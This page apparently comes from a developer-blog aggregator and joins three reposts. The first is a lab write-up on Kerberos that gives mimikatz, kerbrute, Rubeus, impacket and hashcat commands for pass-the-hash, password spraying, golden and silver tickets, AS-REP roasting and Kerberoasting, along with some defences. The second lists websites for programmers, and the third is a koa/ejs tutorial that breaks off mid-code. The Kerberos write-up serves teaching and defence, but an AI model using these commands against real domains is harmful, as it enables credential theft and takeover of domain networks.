开发者博客 – IT技术 尽在开发者博客

开发者博客 – 科技是第一生产力


  • 首页

  • 归档

  • 搜索

Kerberos 学习小结 概念 AS-REQ AS-REQ

发表于 2021-10-12

作者:brodyproder

概念

| DC | 域控 |
| KDC | 密钥分发中心,域控担任 |
| AD | 活动目录,包含与用户数据库 |
| AS | Kerberos认证服务 |
| TGT | AS分发,TGT认证权证 |
| TGS | 票据授予服务 |
| ST | ST服务票据,由TGS服务发送 |

krbtgt用户,是系统在创建域时自动生成的一个帐号,其作用是密钥分发中心的服务账号,其密码是系统随机生成的,无法登录主机

windows密码hash图解如下

AS-REQ

AS-REQ:当域内某个用户试图访问域中的某个服务,输入用户名和密码,本机的kerberos服务向KDC的AS认证服务发送一个AS-REQ认证请求,请求中包含:请求的用户名、客户端主机名、加密类型和Authenticator(用户NTML Hash加密的时间戳)以及其他的一些信息

wireshark抓包分析

req-body详细请求包

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
less复制代码pvno:kerberos版本号,这里为5

msg-type:消息类型,AS_REQ对应的是krb-as-req(10)

padata:主要是一些认证信息,每个认证消息有type和value

  PADA PA-ENC-TIMESTAMP:预认证,用用户hash加密时间戳,作为value发送给AS服务器,AS服务器拥有用户hash,使用用户hash进行解密,获得时间戳,如果能解密,且时间戳在一定的范围内,则证明认证通过。由于用户密码是hash加密,所以能够利用hash传递

    padata-type:padata类型,这里是KRB5-PADATA-ENC-TIMESTAMP(2)
    padata-value:padata的值
      etype:padata类型,这里是eTYPE-AES256-CTS-HMAC-SHA1-96(18)
      cipher:密钥

  PADA PA-PAC-REQUEST:启用PAC支持的扩展。PAC并不在原生的kerberos里面,是微软引进的拓展。PAC包含在相应包AS_REP中,这里的value对应的值为True或False,KDC根据include的值来确定返回的票据中是否需要携带PAC

    padata-type:padata类型,这是eTYPE-AES256-CTS-HMAC-SHA1-96(18)
      padata-value:padata的值
        include-PAC:是否包含PAC,这里为True
req-body:请求body

  padding:填充,这里为0

  kdc-options:用于与KDC预定一些选项设置

  cname:客户端用户名,这个用户名存在和不存在,返回的包有差异,可以用于枚举域内用户名,PrincipalName类型,包含type和Value

    name-type:名字类型,这里是KRB5-NT-PRINCIPAL(1)
    cname-string:名字,也就是请求的用户名
      CNameString:请求的用户名,这里为mars2

  realm:域名,这里为DRUNKMARS0

  sname:服务端用户名,PrincipalName类型,包含type和value,在AS-REQ里面snames为krbtgt
    SNameString:这里是用户名 krbtgt
    SNameString:这里是域名 DRUNKMARS0
  till:到期时间,rubeus和kekeo都是20370913024805Z,这个可以作为特征来检测工具

  rtime:到期时间

  nonce:随机生成的一个数,kekeo/mimikatz nonce是12381973,rubeus nonce是1818848256,这个也可以用来作为特征检测工具

  etype:加密类型,这里有6个items

  address:客户端的请求地址,也就是客户端的主机名

    HostAddress MESSI-PC<20>
      ddr-type:地址类型,这里是nETBIOS(20)
      NetBIOS Name:MESSI-PC<20> (Server service)

net config workstation 查看域内信息

AS-REQ过程中的攻击方式

hash传递

msf进行hash传递

只适用于域环境,并且目标主机需要安装 KB2871997补丁

mimikatz进行hash传递

这里mimikatz获取到hash之后不能复制粘贴,这时可以将获取到的hash导出到log日志中,命令如下

1
powershell复制代码mimikatz log privilege::debug sekurlsa::ekeys

抓取sid为500的administrator的ntlm哈希

1
2
3
arduino复制代码privilege::debug

sekurlsa::logonpasswords

执行命令

1
bash复制代码sekurlsa::pth /user:administrator /domain:192.168.10.5 /ntlm:7c64e7ebf46b9515c56b2dd522d21c1c

KB2871997

安装KB2871997这个补丁之后,只能用sid为500的管理员账户进行pass hash

PTK(pass the key)

获取aes-key:

1
2
3
arduino复制代码privilege::debug

sekurlsa::ekeys

注入aes-key:

1
bash复制代码sekurlsa::pth /user:Administrator /domain:Drunkmars.com /aes256:cf5dba161f3a3dc89454742ff5db89980d6b07e771048b30006546e81d1d79e2

域内用户枚举

使用kerbrute工具:

github.com/ropnop/kerb…

前提需要DC需要开启kerberos 88端口

准备用户名保存为txt

使用以下命令

1
css复制代码kerbrute_windows_amd64.exe userenum --dc 192.168.10.5 -d Drunkmars.com user.txt

使用kerbrute进行错误枚举的原理就是kerberos有三种错误代码:

KDC_ERR_PREAUTH_REQUIRED-需要额外的预认证(启用)

KDC_ERR_CLIENT_REVOKED-客户端凭证已被吊销(禁用)

KDC_ERR_C_PRINCIPAL_UNKNOWN-在Kerberos数据库中找不到客户端(不存在)

在DC抓包可以看到有4个UNKNOWN,1个REQUIRED,证明有这个用户名存在

密码喷洒

当用户名存在,密码正确和错误返回的包是不相同的,所以知道用户名的情况下可以用一个相同的密码去爆破用户,这种针对所有用户的自动密码猜测是为了防止账户被锁定,因为针对同一个用户连续密码猜测很容易导致账户被锁。所以只有对所有用户同时执行特定的密码进行尝试,才能增加破解的概率,消除帐号被锁定的可能

使用以下命令

1
css复制代码kerbrute_windows_amd64.exe passwordspray --dc 192.168.10.5 -d Drunkmars.com user.txt Fcb0519..

密码同样存在三种错误代码

KDC_ERR_PREAUTH_REQUIRED-需要额外的预认证(启用)

KDC_ERR_CLIENT_REVOKED-客户端凭证已被吊销(禁用)

KDC_ERR_C_PRINCIPAL_UNKNOWN-在Kerberos数据库中找不到客户端(不存在)

同样在DC抓包,有4个UNKNOWN,1个REQUIRED

AS-REP

AS-REP:当KDC接受到请求之后,通过AD活动目录查询得到该用户的密码hash,用该密码hash对请求包的Authenticator进行解密,如果解密成功,则证明请求者提供的密码正确,而且需要时间戳范围在五分钟内,且不是重放,则域认证成功。KAS成功认证对方的身份之后,发送相应包给客户端,响应包中主要包括krbtgt用户的NTLM hash加密后的TGT认购权证(即ticket这部分)和用户NTLM hash加密的Login Session key(即最外层enc-part这部分)以及一些其他信息。该Login Session key的作用是用于确保客户端和KDC下阶段之间通信安全。最后TGT认购权证,加密的Login Session Key、时间戳和PAC等信息会发送给客户端。PAC中包含用户的SID,用户所在的组等一些信息。

在enc-part里面最重要的字段就是Login session key,作为下阶段的认证密钥

AS-REP中最核心的东西就是Login session-key 和加密的 ticket。正常我们用工具生成的凭据是.ccache和.kirbi后缀的,用mimikatz,kekeo,rebeus生成的凭据是.kirbi后缀的,impacket生成的凭据是.ccache,两种票据主要包含的都是Login session-key 和加密的 ticket,因此可以相互转换

AS-REP中的攻击方式

黄金票据

使用mimikatz

先获取krbtgt hash

DC执行

1
arduino复制代码mimikatz.exe "lsadump::dcsync /domain:Drunkmars.com /user:krbtgt"

获得如下信息

1
2
3
4
5
makefile复制代码sid:S-1-5-21-652679085-3170934373-4288938398-502

ntlm hash:c1833c0783cfd81d3548dd89b017c99a

aes256:2ec7a180207fea5ede74f482b365885d3bf6ad764082d13113e9e4b98c14ba50

伪造administrator执行(aes256)生成gold.kirbi

1
arduino复制代码mimikatz "kerberos::golden /domain:Drunkmars.com /sid:S-1-5-21-652679085-3170934373-4288938398-502 /aes256:2ec7a180207fea5ede74f482b365885d3bf6ad764082d13113e9e4b98c14ba50 /user:administrator /ticket:gold.kirbi"

伪造administrator执行(krbtgt hash)生成gold.kirbi

1
arduino复制代码mimikatz "kerberos::golden /domain:Drunkmars.com /sid:S-1-5-21-652679085-3170934373-4288938398-502 /krbtgt:c1833c0783cfd81d3548dd89b017c99a /user:administrator /ticket:gold.kirbi"

导入golden.kirbi,执行命令

1
arduino复制代码kerberos::ptt C:\\Users\\mars2\\Desktop\\gold.kirbi

查看本地缓存,发现凭据成功导入

1
arduino复制代码kerberos::list

打开新的cmd,用klist查看凭证

dir连接过去,注意这里必须要主机名,不能够用IP连接

这里有一个坑,必须要管理员权限开cmd,不然也会显示拒绝访问

看下权限,处于Domain Users组

查看所有组

1
csharp复制代码net group /do

查看Domain Controllers组,这里我在域用户机器上可以查看是因为我导入了金票,实际上这个命令只能在DC上才能查看

1
csharp复制代码net group "Domain Controllers" /do

删除凭据

1
arduino复制代码kerberos::purge

使用impacket

使用kali,不在域内需要把dns改向域控

先生成票据administrator.ccache

1
python复制代码python3 ticketer.py -domain-sid S-1-5-21-652679085-3170934373-4288938398-502 -nthash c1833c0783cfd81d3548dd89b017c99a -domain Drunkmars.com administrator

导入票据

1
ini复制代码export KRB5CCNAME=administrator.ccache

然后访问域控

1
perl复制代码python3 smbexec.py -no-pass -k WIN-M836NN6NU8B.Drunkmars.com

AS-REP Roasting

在AS-REP阶段,最外层的enc-part是用户密码hash加密的。对于域用户,如果设置了”Do not require Kerberos preauthentication”,此时向域控的88端口发送AS-REP内容(enc-part底下的ciper,因为这部分是使用用户hash加密的Login Session Key,通过离线爆破就可以获得用户hash)重新组合,能够拼接成”Kerberos 5 AS-REP etype 23”(18200)的格式,接下来可以通过hashcat对其破解,最终获得明文密码,这就构成了AS-REP Roasting攻击

默认这个功能是不启用的,如果启用AS-REP会返回用户hash加密的sessionkey-as,这样我们就能够用john离线破解

使用Empire下的powerview.ps1查找域中设置了”不需要kerberos预认证”的用户

1
2
3
powershell复制代码Import-Module .\powerview.ps1

Get-DomainUser -PreauthNotRequired

使用ASREPRoast.ps1获取AS-REP返回的hash

1
2
3
powershell复制代码Import-Module .\ASREPRoast.ps1

Get-ASREPHash -Username mars2 -Domain Drunkmars.com | Out-File Encoding ASCII hash.txt

修改为hashcat能识别的格式,在krb5asrep后面添加krb5asrep后面添加krb5asrep后面添加23拼接

1
python复制代码hashcat -m 18200 hash.txt pass.txt --force

TGS-REQ

经过上面的步骤,客户端获得了 TGT认购权证 和 Login Session Key。然后用自己的密码NTLM Hash解密Login Session Key得到 原始的LogonSession Key。然后它会在本地缓存此 TGT认购权证 和 原始的Login Session Key。如果现在它需要访问某台服务器的某个服务,它就需要凭借这张TGT认购凭证向KDC购买相应的入场券ST服务票据(Service Ticket)。ST服务票据是通过KDC的另一个服务 TGS(Ticket Granting Service)出售的。在这个阶段,微软引入了两个扩展自协议 S4u2self 和 S4u2Proxy(当委派的时候,才用的到)

TGS-REQ:客户端向KDC购买针对指定服务的ST服务票据请求,该请求主要包含如下的内容:客户端信息、Authenticator(Login Session Key加密的时间戳)、TGT认购权证(padata下ap-req下的ticket) 和 访问的服务名以及一些其他信息

TGS-REP

TGS-REP:TGS接收到请求之后,首先会检查自身是否存在客户端所请求的服务。如果服务存在,则通过 krbtgt 用户的NTLM Hash 解密TGT并得到Login Session Key,然后通过Login Session Key解密Authenticator,如果解密成功,则验证了对方的真实身份,同时还会验证时间戳是否在范围内。并且还会检查TGT中的时间戳是否过期,且原始地址是否和TGT中保存的地址相同。

在完成上述的检测后,如果验证通过,则TGS完成了对客户端的认证,会生成一个用Logon Session Key加密后的用于确保客户端-服务器之间通信安全的Service Session Key会话秘钥(也就是最外层enc-part部分)。并且会为该客户端生成ST服务票据。ST服务票据主要包含两方面的内容:客户端用户信息 和 原始Service Session Key,整个ST服务票据用该服务的NTLM Hash进行加密。

最终Service Session Key 和 ST服务票据发送给客户端。(这一步不管用户有没有访问服务的权限,只要TGT正确,就都会返回ST服务票据,这也是kerberoasting能利用的原因,任何一个用户,只要hash正确,就可以请求域内任何一个服务的ST票据)

enc-part:这部分是用请求服务的密码Hash加密的。因此如果我们拥有服务的密码Hash,那么我们就可以自己制作一个ST服务票据,这就造成了白银票据攻击。也正因为该票据是用请求服务的密码Hash加密的,所以当我们得到了ST服务票据,可以尝试爆破enc_part,来得到服务的密码Hash。这也就造成了kerberoast攻击。

TGS-REP过程中的攻击方式

何为SPN

SPN(ServicePrincipal Names)服务主体名称,是服务实例(比如:HTTP、SMB、MySQL等服务)的唯一标识符。

Kerberos认证过程使用SPN将服务实例与服务登录账户相关联,如果想使用 Kerberos 协议来认证服务,那么必须正确配置SPN。如果在整个林或域中的计算机上安装多个服务实例,则每个实例都必须具有自己的SPN。如果客户端可能使用多个名称进行身份验证,则给定服务实例可以具有多个SPN。SPN始终包含运行服务实例的主机的名称,因此服务实例可以为其主机的每个名称或别名注册SPN。一个用户账户下可以有多个SPN,但一个SPN只能注册到一个账户。在内网中,SPN扫描通过查询向域控服务器执行服务发现。这对于红队而言,可以帮助他们识别正在运行重要服务的主机,如终端,交换机等。SPN的识别是kerberoasting攻击的第一步。

下面通过一个例子来说明SPN的作用:

当某用户需要访问MySQL服务时,系统会以当前用户的身份向域控查询SPN为MySQL的记录。当找到该SPN记录后,用户会再次与KDC通信,将KDC发放的TGT作为身份凭据发送给KDC,并将需要访问的SPN发送给KDC。KDC中的TGS服务对TGT进行解密。确认无误后,由TGS将一张允许访问该SPN所对应的服务的ST服务票据和该SPN所对应的服务的地址发送给用户,用户使用该票据即可访问MySQL服务。

SPN分为两种类型:

1.是注册在活动目录的机器帐户(Computers)下,当一个服务的权限为 Local System 或 Network Service,则SPN注册在机器帐户(Computers)下。域中的每个机器都会有注册两个SPN:HOST/主机名
和 HOST/主机名.Drunkmars.com

2.是注册在活动目录的域用户帐户(Users)下,当一个服务的权限为一个域用户,则SPN注册在域用户帐户(Users)下

查看当前域内所有的SPN:

1
powershell复制代码setspn -Q \* \*

查看指定域Drunkmars.com注册的SPN:

1
css复制代码setspn -T Drunkmars.com -Q \* \*

如果指定域不存在,则默认切换到查找本域的SPN

查找本域内重复的SPN:

1
复制代码setspn -X

删除指定SPN:

1
bash复制代码setspn -D MySQL/win7.Drunkmars.com:1433/MSSQL hack

查找指定用户/主机名注册的SPN:

1
bash复制代码setspn -L username/hostname

Kerberoast攻击

Kerberoast攻击过程:

1.攻击者对一个域进行身份验证,然后从域控制器获得一个TGT认购权证,该TGT认购权证用于以后的ST服务票据请求

2.攻击者使用他们的 TGT认购权证 发出ST服务票据请求(TGS-REQ) 获取特定形式(name/host)的 servicePrincipalName (SPN)。例如:MSSqlSvc/SQL.domain.com。此SPN在域中应该是唯一的,并且在用户或计算机帐户的servicePrincipalName 字段中注册。 在服务票证请求(TGS-REQ)过程中,攻击者可以指定它们支持的Kerberos加密类型(RC4_HMAC,AES256_CTS_HMAC_SHA1_96等等)。

3.如果攻击者的 TGT 是有效的,则 DC 将从TGT认购权证中提取信息并填充到ST服务票据中。 然后,域控制器查找哪个帐户在ServicedPrincipalName 字段中注册了所请求的 SPN。ST服务票据使用注册了所要求的 SPN 的帐户的NTLM哈希进行加密,并使用攻击者和服务帐户共同商定的加密算法。ST服务票据以服务票据回复(TGS-REP)的形式发送回攻击者。

4.攻击者从 TGS-REP 中提取加密的服务票证。 由于服务票证是用链接到请求 SPN 的帐户的哈希加密的,所以攻击者可以离线破解这个加密块,恢复帐户的明文密码。

首先是请求服务票据

1.Rubeus.exe请求

Rubeus里面的kerberoast支持对所有用户或者特定用户执行kerberoasting操作,其原理在于先用LDAP查询于内的spn,再通过发送TGS包,然后直接打印出能使用
hashcat 或 john 爆破的Hash。以下的命令会打印出注册于用户下的所有SPN的服务票据的hashcat格式

1
powershell复制代码Rubeus.exe kerberoast

2.powershell请求

1
2
3
4
5
6
7
8
9
powershell复制代码#请求服务票据

Add-Type -AssemblyName System.IdentityModel

New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/Srv-DB-0day.0day.org:1433"

#列出服务票据

klist

3.mimikatz请求

请求服务票据

1
arduino复制代码kerberos::ask /target:MSSQLSvc/Srv-DB-0day.0day.org:1433

列出服务票据

1
arduino复制代码kerberos::list

清除所有票据

1
arduino复制代码kerberos::purge

4.Impacket中的GetUserSPNS.py请求

该脚本可以请求注册于用户下的所有SPN的服务票据。使用该脚本需要提供域账号密码才能查询。该脚本直接输出hashcat格式的服务票据,可用hashcat直接爆破。

1
python复制代码python3 GetUserSPNs.py -request -dc-ip 192.168.200.143 0day.org/jack

导出票据

首先是查看
klist或mimikatz.exe "kerberos::list"

MSF里面

1
2
3
lua复制代码load kiwi

kerberos_ticket_list

或

1
2
3
arduino复制代码load kiwi

kiwi_cmd kerberos::list

1.mimikatz导出

1
powershell复制代码mimikatz.exe "kerberos::list /export" "exit"

执行完后,会在mimikatz同目录下导出 后缀为kirbi的票据文件

2.Empire下的Invoke-Kerberoast.ps1

1
powershell复制代码Import-Module .\Invoke-Kerberoast.ps1;Invoke-Kerberoast -outputFormat Hashcat

离线破解服务票据

1.kerberoast中的tgsrepcrack.py

1
python复制代码python2 tgsrepcrack.py password.txt xx.kirbi

2.hashcat

将导出的hashcat格式的哈希保存为hash.txt文件,放到hashcat的目录下

1
python复制代码hashcat -m 13100 hash.txt pass.txt

Kerberoast攻击防范

确保服务账号密码为强密码(长度、随机性、定期修改)

如果攻击者无法将默认的AES256_HMAC加密方式改为RC4_HMAC_MD5,就无法实验tgsrepcrack.py来破解密码。

攻击者可以通过嗅探的方法抓取Kerberos TGS票据。因此,如果强制实验AES256_HMAC方式对Kerberos票据进行加密,那么,即使攻击者获取了Kerberos票据,也无法将其破解,从而保证了活动目录的安全性。

许多服务账户在内网中被分配了过高的权限,且密码强度较差。攻击者很可能通过破解票据的密码,从域用户权限提升到域管理员权限。因此,应该对服务账户的权限进行适当的配置,并提高密码的强度。

在进行日志审计时,可以重点关注ID为4679(请求Kerberos服务票据)的时间。如果有过多的 4769 日志,应进一步检查系统中是否存在恶意行为。

白银票据

在TGS-REP阶段,TGS_REP里面的ticket的enc-part是使用服务的hash进行加密的,如果我们拥有服务的hash,就可以给我们自己签发任意用户的TGS票据,这个票据也被称为白银票据。相较于黄金票据,白银票据使用要访问服务的hash,而不是krbtgt的hash,由于生成的是TGS票据,不需要跟域控打交道,但是白银票票据只能访问特定服务。但是要注意的一点是,伪造的白银票据没有带有有效KDC签名的PAC。如果将目标主机配置为验证KDC
PAC签名,则银票将不起作用

要创建白银票据,我们需要知道以下信息:

  • 要伪造的域用户(这里我们一般填写域管理员账户)
  • 域名
  • 域的SID值(就是域成员SID值去掉最后的)
  • 目标服务的FQDN
  • 可利用的服务
  • 服务账号的NTLM哈希

这里使用白银票据伪造CIFS服务,该通常用于Windows主机之间的文件共享。

1.mimikatz获得服务账号的ntlm hash

1
2
3
powershell复制代码privilege::Debug

sekurlsa::logonpasswords

得到ntlm为7c64e7ebf46b9515c56b2dd522d21c1c

2.使用白银票据攻击

1
powershell复制代码kerberos::golden /domain:Drunkmars.com /sid:S-1-5-21-652679085-3170934373-4288938398 /target:WIN-M836NN6NU8B.Drunkmars.com /service:cifs /rc4:7c64e7ebf46b9515c56b2dd522d21c1c /user:administrator /ptt

3.查看票据

4.访问域控

防御:

伪造的白银票据没有带有有效KDC签名的PAC。如果将目标主机配置为验证KDC
PAC签名,则银票将不起作用。

黄金票据和白银票据的不同点

访问权限不同:

黄金票据Golden Ticket:伪造TGT认购权证,可以获取任何Kerberos服务权限

白银票据Silver Ticket:伪造ST服务票据,只能访问指定的服务

加密方式不同:

Golden Ticket由krbtgt的Hash加密

Silver Ticket 由服务账号(通常为计算机账户)Hash加密

认证流程不同:

Golden Ticket的利用过程需要访问域控,而Silver Ticket不需要

说明

关于合天网安实验室

合天网安实验室(www.hetianlab.com)-国内领先的实操型网络安全在线教育平台 真实环境,在线实操学网络安全 ; 实验内容涵盖:系统安全,软件安全,网络安全,Web安全,移动安全,CTF,取证分析,渗透测试,网安意识教育等。

相关实验练习

Kerberos网络认证协议搭建与分析

Kerberos协议最初是麻省理工学院(MIT)为其Athena项目开发的。本实验主要介绍了windows server2003系统的域和DNS服务器的搭建,通过本实验的学习学会kerberos网络认证协议搭建方式。

本文转载自: 掘金

开发者博客 – 和开发相关的 这里全都有

贡献!程序员大学四年珍藏的26个宝藏网站,全部拿出来了!!!

发表于 2021-10-12

小知识,大挑战!本文正在参与“ 程序员必备小知识 ”创作活动

本文同时参与 「掘力星计划」 ,赢取创作大礼包,挑战创作激励金

Code皮皮虾 一个沙雕而又有趣的憨憨少年,和大多数小伙伴们一样喜欢听歌、游戏,当然除此之外还有写作的兴趣,emm…,日子还很长,让我们一起加油努力叭🌈

如果觉得写得不错的话,球球一个关注哦😉

程序员视频学习网站


哔哩哔哩

哔哩哔哩

对于程序员来说,B站不可只是一个看番、鬼畜、舞蹈等等的一个网站,B站上所拥有的学习资源是非常非常非常丰富的,基本上你可以在这里找到任何你想要的资源(不是你想的资源,狗头),哈哈。

image-20211003161523010


慕课网

慕课网

慕课网对于程序员来说也是一个性价比不错的网站,但我个人的话是没用过的,对我而言 B站 + 文章基本上可以解决我的所有问题。

image-20211003161758837


编程学习网站


菜鸟教程

菜鸟教程 - 学的不仅是技术,更是梦想! (runoob.com)

网站名副其实,对于编程小白来说十分的友好,有着丰富的学习资源。

image-20211003163428073


W3cSchool

w3school 在线教程

image-20211003165537949



刷题网站


力扣

力扣

很多面试官都会从中挑选各种题目,我小红书一面,面试官直接说从力扣选一个题给我。

image-20211003165727343


牛客网——在线编程模块

牛客网——在线编程

牛客网的在线编程也包含了很多优质算法题,比力扣好的一点就是对于企业真题不需要付费,可以直接写,不像力扣还需要冲VIP。

image-20211003165911016


CodeTop

CodeTop企业题库

会每天更新算法题,还可以根据企业分类,是一个非常非常实用的网站,要面试的小伙伴一定不能错过。

image-20211003171122286


赛码网

真题练习 - 【赛码网】免费在线考试系统、在线面试系统-易用稳定专业 (acmcoder.com)

image-20211003165957689


蓝桥杯ACM刷题网站

蓝桥杯ACM训练系统(dotcpp.com)

image-20211003170042898


实用工具


Processon

ProcessOn - 免费在线作图,思维导图,流程图,实时协作

有免费体验的次数,但是多了就要付费,不过可以使用下面的 ioDraw代替,虽然没有Processon那么好用,但总体来说也是不错的,最重要的是《免费》

image-20211003170429153


ioDraw

ioDraw 免费在线画流程图、思维导图

image-20211003170644637


在线JSON解析

JSON 在线解析

image-20211003170835220


在线进制转换

在线进制转换 (oschina.net)

image-20211006173820957


博客 、论坛


CSDN

CSDN

image-20211003160133385


掘金

掘金

image-20211003160454116


简书

简书

image-20211003160612862


博客园

博客园

image-20211003160651206


思否

思否

image-20211006173118276


代码托管


Gitee

Gitee

image-20211003160738601


Github

Github

image-20211003160944221


就业必备网站


牛客网

牛客网(强推)

image-20211003162537990


拉勾网

互联网求职招聘找工作-上拉勾招聘-专业的互联网求职招聘网站 (lagou.com)

image-20211003170137307


BOSS直聘

BOSS直聘-找工作我要跟老板谈!招聘求职找工作! (zhipin.com)

image-20211003162239427


51JOB

招聘网_人才网_找工作_求职_上前程无忧 (51job.com)

image-20211003162326555


实习僧

实习僧

image-20211003162500939


搞怪好玩网站


表情包制作网站

我爱斗图 - 斗图表情包在线制作 (52doutu.cn)

image-20211003162818193


彩虹屁生成网站

彩虹屁生成器 | chp.shadiao.app

image-20211003162942440


狗屁不通文章生成器

狗屁不通文章生成器 (suulnnka.github.io)

image-20211003163017401

image-20211003163024335


多功能沙雕网站

沙雕APP - 沙雕导航 (shadiao.app)

image-20211003163119733

🔥专栏分享

毛遂自荐,给大家推荐一下自己的专栏😁,欢迎小伙伴们收藏关注😊

力扣算法题解专区

小白学Java

MybatisPlus专栏

App爬虫专栏

PC端爬虫专栏

大厂面试题专栏


💖最后

我是 Code皮皮虾,一个热爱分享知识的 皮皮虾爱好者,未来的日子里会不断更新出对大家有益的博文,期待大家的关注!!!

创作不易,如果这篇博文对各位有帮助,希望各位小伙伴可以一键三连哦!,感谢支持,我们下次再见~


一键三连.png

本文转载自: 掘金

开发者博客 – 和开发相关的 这里全都有

从零开始使用nodejs+ejs模板轻松搭建web网站

发表于 2021-10-12

什么是ejs

image.png

类比handlebars、artTemplate、jade这些模板引擎等,ejs也是一个javascript模板引擎,这里就不比较它与其他模板引擎的性能做对比了,ejs语法过于朴实,如果你会写html和简单的javascript,或者你用jsx写过react,那么ejs对你来讲将轻而易举。只需简单的两步:

  1. 将%标签包裹的js语法写在html里
  2. 将html后缀的文件后缀名替换成ejs
    它与node结合开发web网站简直天作之合,因为它是基于node生态的模板,只需简单的配置,即可运行在node项目中。ejs将模板与数据有效结合在一起,快速高效的构建html页面。可以将每一个ejs看做一个html或者组件来使用,具体ejs的语法使用可以查看 ejs文档

实战

第一步:使用koa来搭建一个server

首先初始化项目,在终端依次执行

1
2
csharp复制代码npm init
npm install koa

新建app.js入口文件,代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
javascript复制代码const koa = require('koa')
const app = new koa()

app.use(async(ctx, next) => {
console.log(ctx.request.path)
if (ctx.request.path === '/index') { // 首页
ctx.response.status = 200
ctx.response.body = 'index'
} else if (ctx.request.path === '/hello') { // hello页
ctx.response.status = 200
ctx.response.body = 'hello world'
} else {
ctx.throw(404, 'Not found') // 404
}
await next()
})

app.listen(3000, function() {
console.log('koa应用启动!')
})

以上代码所示,根据参数ctx的获取所访问的path路径,然后分别对不同的路径进行处理

终端运行

1
复制代码npm app.js

启动koa服务看到如下效果:

20211011-160319202110111621316.gif

这是一个简单的koa项目,监听3000端开启node服务,index页面和hello页面分别展示不同的内容。第一步已经完成,接下来只需将ejs模板引擎集成到koa项目里就可以了。

第二步:集成ejs模板引擎

新建一个views目录,在此目录下放置所有的ejs模板文件,作为演示,我们先新建一个index.ejs,这时koa还不能识别ejs后缀的文件,我们需要借助app.use将ejs后缀的文件注册进入,将koa与views目录下的所有ejs后缀文件关联起来。

首先install一下koa-views

1
复制代码npm install koa-views

在app.js内增加以下代码:

1
2
3
4
php复制代码const path = require('path')

const views = require('koa-views');
app.use(views(path.join(__dirname, './views'), { extension: 'ejs' }))

并修改以下代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
dart复制代码app.use(async(ctx, next) => {
console.log(ctx.request.path)
if (ctx.request.path === '/index') { // 首页
// ctx.response.status = 200
// ctx.response.body = 'index'
await ctx.render('index')
} else if (ctx.request.path === '/hello') { // hello页
ctx.response.status = 200
ctx.response.body = 'hello world'
} else {
ctx.throw(404, 'Not found') // 404
}
await next()
})

ctx.render('index')将index.ejs渲染成html文件,index.ejs代码如下:

1
2
3
4
5
6
7
8
9
xml复制代码<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="utf-8">
</head>
<body style="overflow-y: scroll;">
<div>我是使用ejs渲染的html页面</div>
</body>
</html>

重新运行npm app.js,启动服务,重新刷新index页面,会看到ejs模板已经被编译成一个html页面,如下图:
20211011-1605572021101116274811.gif

运用在实际项目中

场景一:快速搭建web静态网站

如果需要快速建站,这个是一个不错的方案,可以使用koa,那当然也可以使用node或者express框架,因为ejs就是node生态的一部分,所以使用任意node框架都可以。在实际项目中,我们可能会用到koa-router来管理多个路由,在每个路由内render对应的ejs文件,如图所示:

image.png
demo示例

场景二:搭建一个复杂的业务型网站

以上只是介绍如何简单快速的搭建静态web网站,我们实际项目中的页面会更多更复杂,不只有静态页面,也会存在表单、列表等大批的页面需要与接口对接联调,因此也会有一些ejs模板需要做动态化处理,当然ejs模板语法也是支持的。针对如何获取动态数据,渲染动态页面,这里提供两种方案:

1、koa+ejs+MySQL(前后端不分离)

后端node服务直接连接数据库,查询数据后返回到ejs页面,根据ejs语法,我们从路由处拿到变量后渲染在ejs模板内;这时,整个node项目前后端是不分离的,node既做后端服务,又做前端渲染,如果是复杂的项目,开发人员的开发量可能比较大,当然对于全栈开发工程师或者创业型公司,这些都不在话下。

连接数据库,获取数据,后端渲染,直出页面

在node示例项目中的routers/demo.js里设置demo页面的前端路由,该页面渲染了一组从数据库中直接获取的数据

1
2
3
4
5
6
7
8
9
javascript复制代码router.get('/demo', async ctx => {
console.log('连接数据库')
let result = await UserModule.find(ctx.query)
let imgs = []
result && result.filter(item => {
imgs.push(item.telephone)
})
await ctx.render('demo', { title: 'demo页面', tableData: imgs })
})

在node示例项目中的views/demo.ejs内的前端代码如下:

1
2
3
4
5
6
7
8
9
10
ini复制代码<a href="/signUp">申请体验</a>
<ul style="clear: both;">
<% tableData.forEach(function(item,index){%>
<li data-id="<%= index %>" style="float: left; margin:0 10px;">
<%= index %>
<img style="width:100px" src="<%= item %>" />
<%= item %>
</li>
<% })%>
</ul>

页面效果如下图:

新标签页 - Google Chrome 2021-10-14 11-47-3520211014181106.gif
数据库中的数据如图所示:

微信截图_20211014115230.png

demo示例

表单提交调用接口

在node示例项目中的routers/demo.js里设置toSingUp接口路由

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
csharp复制代码//接收post提交的数据
router.post('/toSingUp', async ctx => {

console.log('提交数据', ctx.request.body);
const {
telephone,
password,
companyName
} = ctx.request.body
let result = await UserModule.findUserByTelephone({
telephone
})

let isNewRecord = result && result.isNewRecord

if (isNewRecord === null) {
await UserModule.add({
telephone,
password,
companyName
})
await ctx.render('signUp', { title: '申请体验页面', message: '恭喜您,申请体验成功!' })
} else if (isNewRecord === false) {
await ctx.render('signUp', { title: '申请体验页面', message: '您已申请过,无需再申请了' })
}
})

点击demo页面内的“申请体验”进入到表单页面,当填写完表单后,点击确定,请求toSingUp接口,将表单数据存入数据库中,页面效果如下图:

20211015-183416.gif

提交的表单数据已经插入到数据库中了,如图所示:

微信截图_20211014115310.png

2、koa+ejs+request/ajax(前后端分离)

也可以在路由内使用request库(如ajax、axios、http、fetch)第三方接口请求。拿到数据直接渲染在ejs模板内,这样的好处都是可以做到前后端开发彻底分离,可以将整个node项目交由前端,后端技术栈没有限制,前端只需调取后端接口就可以了。。这里可以分为两种方式:

  • 在后端请求第三方接口,数据直出到ejs模板
这样做的弊端很明显,就是如果接口加载过慢,会导致整个ejs页面白屏,所以采用此方案对后端接口访问速度要求较高。
  • 在ejs模板里直接使用ajax请求接口获取数据,然后渲染在页面
这种开发方式类似前几年的web网站开发方式(类似后端使用java开发,前端在java环境中的jsp内开发页面和联调接口),前端除了不提供后端接口服务外,其他的内容都已经涉及或者总揽,但开发方式仍然可以做到前后端分离的方式,不需要依赖后端开发环境。

我们对app.js做如下改造:

1
2
3
4
5
6
7
8
9
